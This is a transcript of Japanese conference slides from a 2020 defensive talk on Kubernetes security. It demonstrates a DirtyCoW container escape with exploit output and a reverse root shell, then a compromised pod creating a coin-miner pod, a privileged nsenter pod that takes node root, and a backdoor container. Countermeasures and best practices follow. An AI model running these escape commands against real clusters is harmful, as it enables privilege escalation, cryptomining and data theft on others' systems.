攻撃しながら考えるKubernetesのセキュリティ / Considering Kubernetes Security While Attacking

本資料は 2020/9/8 の「CloudNative Days Tokyo 2020」の発表資料です。

■発表動画
https://event.cloudnativedays.jp/cndt2020/talks/26

■内容
・コンテナ全般のセキュリティ
・脆弱な設定のKubernetesに対する攻撃 (アプリの脆弱性をきっかけとした悪意のあるPodの作成、権限昇格、などの攻撃の流れ)
・上記に対する対策

■書籍以外のReference
KubeCon NA 2019 CTF：
https://securekubernetes.com/

Kubernetes Security for Microservices：https://speakerdeck.com/rung/kubernetes-security-for-microservices/

Threat matrix for Kubernetes：
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/

NIST SP800-190 Application Container Security Guide：
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf

CIS Benchmark 原本：
https://www.cisecurity.org/benchmark/kubernetes/

CIS Benchmark GKE版：
https://www.cisecurity.org/cis-benchmarks/

CIS Benchmark EKS版：
https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark

Transcript

1. © 2020 NTT DATA Corporation 2020年9月8日 株式会社NTTデータ 藤井 秀行 攻撃しながら考えるKubernetesのセキュリティ 記載されている会社名、商品名、またはサービス名は、各社の商標登録または商標です。
2. © 2020 NTT DATA Corporation 2 • 所属：NTTデータ / インフラエンジニア • 仕事：k8sを活用する組織のリサーチチーム • 経歴：OSS → OSとコンテナ → 現職 • 趣味：コミュニティ活動 Whois 藤井 秀行 (@fujiihda)
3. © 2020 NTT DATA Corporation 3 突然の圧力！？ありがとうございます！！
4. © 2020 NTT DATA Corporation 4 本発表はコミュニティの皆さんのセキュリティ 向上を目的としています。攻撃手法を題材と して扱いますが違法なクラッキングを推進す るものではありません。絶対に悪用しないで ください。また、発表内容は個人の見解です。 所属する企業やコミュニティの立場、意見を 代表するものではありません。 【重要】はじめに
5. © 2020 NTT DATA Corporation 5 今日のシナリオ • シナリオ1：コンテナ全般を対象としたセキュリティ – 攻撃者：内部犯行 – NW種別：隣接ネットワーク – テーマ：コンテナ全般におけるホストの特権への権限昇格 • シナリオ2：k8s固有のセキュリティ – 攻撃者：外部犯行 – NW種別：外部ネットワーク (インターネット越し) – テーマ：k8sにおけるNodeへの権限昇格
6. © 2020 NTT DATA Corporation 6 本日の流れ 1. なんとなくk8sしてませんか？ 2. 皆さんに持って帰ってほしいもの 3. コンテナの特有のセキュリティリスクと対策 4. シナリオ - シナリオ1：コンテナ全般を対象としたセキュリティ - シナリオ2：k8s固有のセキュリティ 5. ベストプラクティス 6. k8sを適切に設定して使うのはユーザ責任
7. © 2020 NTT DATA Corporation 7 k8sはセキュリティを きちんと考慮されない ままで導入されがち なのでは！？
8. © 2020 NTT DATA Corporation 8 ぜんぜんわからない 俺たちは雰囲気でコンテナをやっている 何も考えずに ← は NG 何も考えずに ← は NG 何も考えずに ← は NG
9. © 2020 NTT DATA Corporation 9 ぜんぜんわからない 俺たちは雰囲気でk8sをやっている PodSecurity Policy？ Service Account？ 特権コンテナ？ メタデータ アクセス？ 脆弱性 診断は？
10. © 2020 NTT DATA Corporation 10 皆さんに持って帰ってほしいもの • 「これは危険だ」という知識 • 脅威に対する考え方 • コンテナへの攻撃の全体像
11. © 2020 NTT DATA Corporation 11 コンテナ特有のセキュリティリスクと対策
12. © 2020 NTT DATA Corporation 12 (参考) 各リスクの内訳
13. © 2020 NTT DATA Corporation 13 シナリオ1： コンテナ全般を対象とした セキュリティ
14. © 2020 NTT DATA Corporation 14 シナリオ1：防御側 • セキュリティは後回しで、塩漬け文化があり、 – 古いOS上の – 古いDockerで – 任意コード実行の脆弱性のある社内向けWebアプリを動かしている – ケーパビリティとseccompはデフォルトのまま有効化している • Webアプリ上に個人情報は存在しない • Webアプリには、サーバ室だけでなく、居室からでもアクセスでき、情報を 社外に持ち出すための抜け道が存在する • コスト優先でマルチテナント構成をとっており、同じホスト上で 別部門の管理する個人情報を含むシステムが動いている
15. © 2020 NTT DATA Corporation 15 (参考) シナリオ1：攻撃側 • 攻撃者種別：内部犯行者 • 攻撃対象：同一ホスト上の別部署の管理するシステムにある個人情報 • 攻撃手段：ホストと社内向けWebアプリに深刻な脆弱性があることを 知っていて、自ら攻撃コードを探したり、ツールを実行できる • 攻撃目的：以前同担当に所属していて恨みがあり、個人情報の売買に 興味がある • 前提条件：Webアプリの脆弱性をツールで突いてシェルを取った (コンテナのプロセスの権限で任意のコマンドを実行できる)
16. © 2020 NTT DATA Corporation 16 シナリオ1で扱う脆弱性 • CVE-2016-5195 (通称：DirtyCoW、極めて古く修正済) – 様々な種類のPoCがあり、できることが違う • https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs – コンテナエスケープ用のPoCではコンテナ内のユーザがホストの 特権ユーザに昇格できる • すぐに試せるgeblさんの作った全部入りのコンテナ – https://github.com/gebl/dirtycow-docker-vdso • 上のコンテナの中身はscumjrさんの作った次のコードなので、 コンテナの中でコードを取得しても試せる – https://github.com/scumjr/dirtycow-vdso
17. © 2020 NTT DATA Corporation 17 (参考) シナリオ1のホストの環境 # cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) # uname -a Linux localhost.localdomain 3.10.0-327.el7.x86_64 #1 SMP Thu Nov 19 22:10:57 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # rpm -qa | grep docker docker-engine-1.13.1-1.el7.centos.x86_64 docker-engine-selinux-17.05.0.ce-1.el7.centos.noarch # getenforce Disabled
18. © 2020 NTT DATA Corporation 18 コンテナに入る (シェルを取られたつもり) # cd dirtycow-docker-vdso; docker-compose run dirtycow /bin/bash root@a0572092623a:/#
19. © 2020 NTT DATA Corporation 19 攻撃に必要な情報を取得 root@a0572092623a:/# ifconfig -a eth0 Link encap:Ethernet HWaddr 02:42:ac:12:00:03 inet addr:172.18.0.3 Bcast:0.0.0.0 Mask:255.255.0.0 (省略)
20. © 2020 NTT DATA Corporation 20 make root@a0572092623a:/# cd /dirtycow-vdso; make nasm -f bin -o payload payload.s xxd -i payload payload.h cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
21. © 2020 NTT DATA Corporation 21 実行 root@a0572092623a:/dirtycow-vdso# ./0xdeadbeef 172.18.0.3:22 [*] payload target: 172.18.0.3:22 [*] exploit: patch 1/2 [*] vdso successfully backdoored [*] exploit: patch 2/2 [*] vdso successfully backdoored [*] waiting for reverse connect shell... [*] enjoy! [*] restore: patch 2/2 [*] vdso successfully restored [*] restore: patch 1/2 [*] vdso successfully restored
22. © 2020 NTT DATA Corporation 22 結果 whoami root id uid=0(root) gid=0(root) groups=0(root) hostname localhost.localdomain
23. © 2020 NTT DATA Corporation 23 結果 whoami root id uid=0(root) gid=0(root) groups=0(root) hostname localhost.localdomain ケーパビリティとseccompは デフォルトで有効化していた 両方とも無効化してない のにナンデ！？ 少々お待ちください
24. © 2020 NTT DATA Corporation 24 なにをされたのか • アプリケーションの脆弱性を悪用されてシェルを取られた (任意コード実行可能だった) • OSの脆弱性を悪用されてコンテナ内のユーザがホストの 特権ユーザに権限昇格した • (明示的に書いてないが) ホストの特権で同一ホスト上の別の コンテナに侵入できる状態になった
25. © 2020 NTT DATA Corporation 25 なぜ攻撃が成立したか • コンテナとして動かしていたアプリケーションに任意の コード実行の脆弱性があった • OSとコンテナランタイムが古く、深刻な脆弱性があり権限昇格の リスクがあった • 脆弱なコンテナがマルチテナント構成の同一ホスト上あった • コンテナのセキュリティを高めるOSの機能は、、、 有効化していたんだけど、、、
26. © 2020 NTT DATA Corporation 26 答え：バージョンアップ 以外では対処困難な 脆弱性もある
27. © 2020 NTT DATA Corporation 27 対策 • OS(Linuxカーネル)とコンテナランタイムを最新化する – OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性がある • セキュリティ機能は万能ではない – システムを構成する要素は脆弱性はツールを使うなどして即把握・即対処 • マルチテナント構成のリスクを考慮して採用可否を判断する – コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス – コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を 受けやすい → ただし、いまは様々な選択肢が提供されていて改善されつつある (本発表内ではこれらには言及しません)
28. © 2020 NTT DATA Corporation 28 • OS(Linuxカーネル)とコンテナランタイムを最新化する – OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性がある – バージョンアップ以外に対処がない脆弱性は騒ぎになりやすいので即対処 • マルチテナント構成のリスクを考慮して採用可否を判断する – コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス – コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を 受けやすい → ただし、いまは様々な選択肢が提供されていて改善されつつある (本発表内では詳細は言及しません) 対策 コンテナのセキュリティを高める 機能の話どこにいった！？
29. © 2020 NTT DATA Corporation 29 ケーパビリティとseccompは攻撃可能な面を減らす • ケーパビリティ – root権限を目的別に約 30 個に分割した特権機能群 – 必要に応じて付与 / 剥奪 (デフォルトから剥奪も検討) • seccomp – プロセスが利用できるシステムコールを制限できる – コンテナでは、コンテナ内のプロセスが実行するシステムコール を制限できる – 定義したシステムコールが呼ばれたときの制御を、許可、拒否、 終了などのアクションから選択でき、種類だけでなく、引数との 組み合わせも定義可能 – 任意のコマンドが実行されたとしても、影響範囲を最小限に 抑えることが可能 多層防御の考えのもと重ね 掛けを基本として、要件や 粒度に応じて使い分ける でもケーパビリ ティは最小権 限にすべきか なぁ セキュリティ実 践ガイドに詳細 が書いてある
30. © 2020 NTT DATA Corporation 30 (参考) k8s v1.19 から seccomp が使える apiVersion: v1 kind: Pod metadata: name: sample-capabilities spec: containers: - name: tools-container image: amsy810/tools:v2.0 securityContext: capabilities: add: ["SYS_ADMIN"] drop: ["AUDIT_WRITE"] apiVersion: v1 kind: Pod metadata: name: audit-pod labels: app: audit-pod spec: securityContext: seccompProfile: type: Localhost localhostProfile: profiles/audit.json containers: - name: test-container image: hashicorp/http-echo:0.2.3 args: - "-text=just made some syscalls!" securityContext: allowPrivilegeEscalation: false 引用元：完全ガイドサンプルリポジトリ、および、Kubernetes.io の “Restrict a Container’s Syscalls with Seccomp” のページのサンプルより引用 seccomp ケーパビリティ
31. © 2020 NTT DATA Corporation 31 シナリオ2： k8s固有のセキュリティ
32. © 2020 NTT DATA Corporation 32 (参考) ここから扱うネタは定番ネタ • 某検索エンジンで 「Kubernetes Attack」 などで検索
33. © 2020 NTT DATA Corporation 33 シナリオ2：防御側 • セキュリティは後回しで、塩漬け文化があり、 – クラウドベンダのマネージドk8s上に – セキュリティ脆弱性がよく話題になるCMSをデプロイした – CMSには後日深刻な脆弱性が見つかったが対処していない – CMSはインターネットに公開されている • CMSは付き合いのあるお客様向けの情報発信に使っているものの、 重要度は低く、CMS上には公開情報以外載せていない • コスト優先でマルチテナント構成をとっており、同じNode上に別部門 の管理する 個人情報を含むシステムが動いている
34. © 2020 NTT DATA Corporation 34 (参考) シナリオ2：攻撃側 • 攻撃者種別：スクリプトキディ • 攻撃対象：無差別 (クラウドベンダの利用するIPアドレスレンジを中心に、 IPアドレスを自動スキャンするツールを使うことで脆弱性のあるIPアドレス に対して無差別に攻撃) • 攻撃手段：既知脆弱性を悪用するツールを用いるのみで高度な技術なし • 攻撃目的：お金 (マイニングと個人情報売買) • 前提条件：CMSの脆弱性をツールで突いてシェルを取った (コンテナのプロセスの権限で任意のコマンドを実行できる)
35. © 2020 NTT DATA Corporation 35 わたしは誰だ… ここはどこだ…… $ id uid=1000(cms) gid=1000(cms) groups=1000(cms) $ ps -ef UID PID PPID C STIME TTY TIME CMD cms+ 1 0 0 13:11 ? 00:00:00 /usr/bin/dumb- init /usr/local/sbin/entrypoint.sh cms+ 7 1 0 13:11 ? 00:00:00 node /cms/app cms+ 18 7 0 14:11 pts/0 00:00:00 /bin/bash cms+ 25 18 0 14:47 pts/0 00:00:00 ps -ef $ df -h (省略) tmpfs 3.7G 12K 3.7G 1% /run/secrets/kubernetes.io/serviceaccount (省略)
36. © 2020 NTT DATA Corporation 36 パスワードと/rootへのアクセス $ cat /etc/shadow cat: /etc/shadow: Permission denied $ ls -l /root ls: cannot open directory '/root': Permission denied
37. © 2020 NTT DATA Corporation 37 ほう kubeですか たいしたものですね $ cd /tmp; curl -Lo amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.9/a micontained-linux-amd64; chmod 755 amicontained; ./amicontained (省略) Container Runtime: kube Has Namespaces: pid: true user: false AppArmor Profile: docker-default (enforce) Capabilities: BOUNDING - > chown dac_override fowner fsetid kill setgid setuid setpcapnet_bind_service net_raw sys_chroot mknod a udit_write setfcap Seccomp: disabled Blocked Syscalls (29): SYSLOG SETUID SETGID SETSID SETREUID SETREGID SETGROUPS SETRESUID SETRESGID VHANGUP PIVOT_ROOT A CCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKU P_DCOOKIE FUTIMESAT UTIMENSAT FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD BPF Looking for Docker.sock
38. © 2020 NTT DATA Corporation 38 環境変数を見てみる $ env | grep -i kube KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1 KUBERNETES_PORT=tcp://10.100.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.100.0.1
39. © 2020 NTT DATA Corporation 39 k8sのバージョンを見てみる $ curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version { "major": "1", "minor": "15+", "gitVersion": "v1.15.12-▪▪▪▪▪▪▪▪", "gitCommit": "▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪▪", "gitTreeState": "clean", "buildDate": "2020-06-01▪▪▪▪▪▪▪▪", "goVersion": "go1.12.17b4", "compiler": "gc", "platform": "linux/amd64" }
40. © 2020 NTT DATA Corporation 40 kubectlしてみる $ export PATH=/tmp:$PATH $ cd /tmp; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.15 .12/bin/linux/amd64/kubectl; chmod 755 kubectl $ kubectl get namespaces Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount :prd:default" cannot list resource "namespaces" in API group "" at the cluster scop e
41. © 2020 NTT DATA Corporation 41 現在Poｄを作成できるか $ kubectl auth can-i create pods yes
42. © 2020 NTT DATA Corporation 42 悪意のあるPodを作成 $ kubectl apply -f c0inminer.yaml 悪意のあるyamlを書 いてPodを作成
43. © 2020 NTT DATA Corporation 43 Nodeに権限昇格してバックドアを作成 $ kubectl run r00tc0ntainer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command": ["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,“ securityContext":{"privileged":true}}]}}’ r00tc0ntainer / # r00tc0ntainer / # docker run -d backd00r Nodeの特権になった あとは個人情報を探 そう (省略) バックドア作成した
44. © 2020 NTT DATA Corporation 44 なにをされたのか • アプリケーションの脆弱性を悪用されてシェルを取られた (任意コード実行可能だった) • Service Accountを悪用されて、k8sにマイニング用のPodを建てられた • Service Accountを悪用されて、k8sにホストのroot権限を持つコンテナを 建てられた (権限昇格) – そしてバックドアを仕込まれた • (今日のデモ内では攻撃されなかったが) 攻撃者が同じNode上の 他のコンテナに入っている個人情報にアクセス可能になった
45. © 2020 NTT DATA Corporation 45 なぜ攻撃が成立したか • コンテナとして動かしていたアプリケーションに任意の コード実行の脆弱性があった • k8sの各種機能が適切に設定されていなかった – Service Accountが最小権限に設定されていなかった – コンテナ内でできることが限定されていなかった – 特権コンテナが禁止されていなかった – あらかじめ許可されていないコンテナが起動できた • 脆弱なコンテナがマルチテナント構成の同一ホスト上あった
46. © 2020 NTT DATA Corporation 46 今回の原因はk8sの 設定不備です。k8sの 脆弱性ではありません。
47. © 2020 NTT DATA Corporation 47 対策 • (今回は悪用されなかったが) Kubernetesは最新化 • k8sの各種機能を適切に設定してセキュリティを高める – Service Accountは最小権限 – コンテナ内でできることは限定する – 特権コンテナはなるべく禁止 – 信頼できるコンテナのみが起動できるようにする • マルチテナントにする際はリスクを考慮してセキュリティ徹底
48. © 2020 NTT DATA Corporation 48 デモ2に有効と考えるベストプラクティス • アプリの脆弱性を是正 – CI/CDの仕組みのなかに脆弱性診断を導入 – 環境変数暗号化 • Service Accountは最小権限 • コンテナ内でできることを限定 – コンテナ内で ps や curl などのできないコンテナイメージの採用 – 書き込みが不要なコンテナであればリードオンリー • PodSecurityPolicy設定 – (特別な理由がない限り) 特権コンテナ基本禁止 – 最小権限を徹底してコンテナ作成などの不要な権限を与えない • あらかじめ許可された信頼できるコンテナのみに起動を許可 – Binary Authorization導入 重要！
49. © 2020 NTT DATA Corporation 49 個人的ベストプラクティスの一部 (前ページ掲載除く) • メタデータアクセス制御 (169.254.169.254 アクセス禁止) • Namespaceは専門知識を持った人が対応 • RBACも専門知識を持った人が対応 • 必要な通信のみを許可 • 不要ならホストのボリュームをマウントしない • 徹底的にIaCで自動化 • 高いセキュリティレベルが求められるならクラスタ分割 • 悪意を即検知して通知/是正するセキュリティの仕組みの導入 重要！
50. © 2020 NTT DATA Corporation 50 責任共有モデルでは k8sを適切に設定する のはユーザの責任
51. © 2020 NTT DATA Corporation 51 • アプリからk8sに至るまでを最新化 • k8sのセキュリティを高める機能を適切に使う • ベストプラクティスは全部抑える • k8sのセキュリティを設定する責任はユーザ • マルチテナントはセキュリティリスクを考慮 まとめ
52. © 2020 NTT DATA Corporation 52 Reference • 書籍：Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド • 書籍：Kubernetes Security • 書籍：Container Security • KubeCon NA 2019 CTF： https://securekubernetes.com/ • Kubernetes Security for Microservices： https://speakerdeck.com/rung/kubernetes-security-for-microservices/ • Threat matrix for Kubernetes： https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ • NIST SP800-190 Application Container Security Guide： https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf • CIS Benchmark原本： https://www.cisecurity.org/benchmark/kubernetes/ • CIS Benchmark GKE版： https://www.cisecurity.org/cis-benchmarks/ • CIS Benchmark EKS版： https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark/
53. © 2020 NTT DATA Corporation 53 (参考) これからやりたい (願望) • 高度な応用 (技術を組み合わせる) (今日の発表とあまり関係ない) – Kubernetesを活用する組織のアプリ開発とファジング技術を組み合わせたセキュリティ向上 – Kubernetesと関連コンポーネント自体のファジング • シナリオ2の攻撃内容高度化と資料化 – シナリオ2改：クラウドベンダのメタデータからクレデンシャル取得 – シナリオ2改改：Kubernetesと関連コンポーネントの脆弱性を突く – シナリオ2改改改：Kubernetesと関連コンポーネントの未発見の脆弱性を探す • セルフハンズオン化と展開 – シナリオ2 – シナリオ2改 – シナリオ2改改
54. © 2020 NTT DATA Corporation 54 (参考) 早期警戒して即対応したい脆弱性 • 個人の見解として、エンタープライズ領域で特に注意している脆弱性は、 デフォルト設定で無条件に攻撃が成立するもの、かつ、次の脆弱性 – Remote Code Execution (RCE)：遠隔から任意のコードを実行する攻撃手法、 または、脆弱性 • 公開しているサービス自体、または、関連コンポーネントにインターネット越しで この脆弱性があると他の攻撃に繋がりやすい – Privilege Escalation：権限昇格する攻撃手法、または、脆弱性 • OS(Linuxカーネル)やコンテナランタイムにこれがあると致命的 – Server Side Request Forgery (SSRF)：直接到達できない内部サーバなどに 対して公開サーバの不具合を悪用することで任意のリクエストを送りつける攻撃 手法、または、脆弱性 • 某金融機関のクレデンシャル取得で有名で、権限昇格なしで深刻な情報 漏えいにつながる可能性あり
55. © 2020 NTT DATA Corporation 55 (参考) コンテナに関わる脆弱性一部抜粋その1 • runc – CVE-2016-3697 – CVE-2016-9962 – CVE-2019-5736 • Dockerデーモン – Shocker (CVE番号なし) – CVE-2014-9357 – CVE-2018-15664 – CVE-2019-14271 • Linuxカーネル – CVE-2016-5195 – CVE-2017-5123 詳細は2章参照。 脆弱性の内容と対策 を理解しよう！
56. © 2020 NTT DATA Corporation 56 (参考) コンテナに関わる脆弱性一部抜粋その2 • kube-apiserver – CVE-2018-1002105 – CVE-2019-11247 • kubelet – CVE-2017-1002101 – CVE-2017-1002102 – CVE-2019-11245 • kubectl – CVE-2019-1002101 – CVE-2019-11246 – CVE-2019-11249 • Kubernetes Dashboard – CVE-2018-18264 詳細は2章参照。 脆弱性の内容と対策 を理解しよう！